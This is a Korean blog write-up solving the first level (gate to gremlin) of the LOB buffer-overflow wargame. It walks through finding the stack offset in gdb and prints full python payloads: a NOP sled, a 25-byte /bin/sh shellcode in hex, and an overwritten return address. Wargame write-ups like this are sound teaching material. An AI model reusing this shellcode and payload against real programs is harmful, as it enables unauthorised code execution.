오늘은 해커스쿨의 LOB라고 불리는 The Lord of Bufferoverflow를 풀어보겠다.
LEVEL1
(gate -> gremlin) : simple bof
소스코드를 확인해보겠다.
소스코드를 보니 간단한 버퍼오버플로우 문제인 것을 알 수있다.
버퍼오버플로우를 모르면 아래의 자료를 보면 도움이 될 것이다.
2017/10/23 - [SYSTEM HACKING/정리자료] - DAY-3 버퍼오버플로우를 풀어보자
일단은 buffer의 오프셋을 구해보겠다.
gdb로 파일을 열고 실행하는 순간 오류가 뜨는 것을 볼 수 있다.
Operation no permitted 작업이 허용되어있지 않다고 한다.
파일에 권한이 없는 것 같다.
이럴 때는 원본파일을 복사하면 소유권이 자신의 것이 되니 복사해서 gdb로 열어보자.
nremlin을 gdb로 열어서 r을 해주면 이번에는 오류가 뜨지 않을 것이다,
오류를 고쳤으니 buffer의 오프셋을 구해보자.
브레이크 포인트를 main+59에 걸고 buffer의 주소인 0xffffff00(%ebp)를 확인해 보자
확인해보면 얼마만큼의 값이들어가야하는지 알 것이다.
잘모르겠다면 아래 글을 보자!
2017/10/23 - [SYSTEM HACKING/정리자료] - DAY-3 버퍼오버플로우를 풀어보자
계산해보니 260의 buffer+saved ebp 공간을 채우면 saved eip까지 도달 할 수 있다.
260개의 공간에 nop(\x90)와 쉘코드를 넣고 saved eip를 overwrite해서 그쪽으로 이동되게 해보겠다.
쉘코드는 25바이트 짜리 쉘코드
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80를 사용했다
`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*135+"BBBB"'`
그럼 gdb로 이값들이 어느 주소로 들어가는지 확인해 보겠다.
break를 대충걸고 r을 해보자.
buffer의 주소값을 확인해보면 정말로 \x90인 nop가 들어가있는 것이 보인다.
그럼 saved eip 주소에 nop의 주소중 아무거나 써줘보자.
`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*135+"\x98\xfb\xff\xbf"'`
saved eip에 nop의 주소(\x98\xfb\xff\xbf)를 넣어서 공격을 시도해보자.
(※주의할 점:bash의 문제점이있으니 bash2로 명령어를 실행하자.)
쉘을 따낸 것을 볼 수 있다.
'WarGame > The Lord of Bufferoverflow(LOB)' 카테고리의 다른 글
The Lord of Bufferoverflow(LOB) wolfman -> darkelf (0) | 2017.12.08 |
---|---|
The Lord of Bufferoverflow(LOB) orc -> wolfman (0) | 2017.12.03 |
The Lord of Bufferoverflow(LOB) goblin -> orc (0) | 2017.12.03 |
The Lord of Bufferoverflow(LOB) cobolt -> goblin (0) | 2017.12.03 |
The Lord of Bufferoverflow(LOB) gremlin -> cobolt (0) | 2017.12.01 |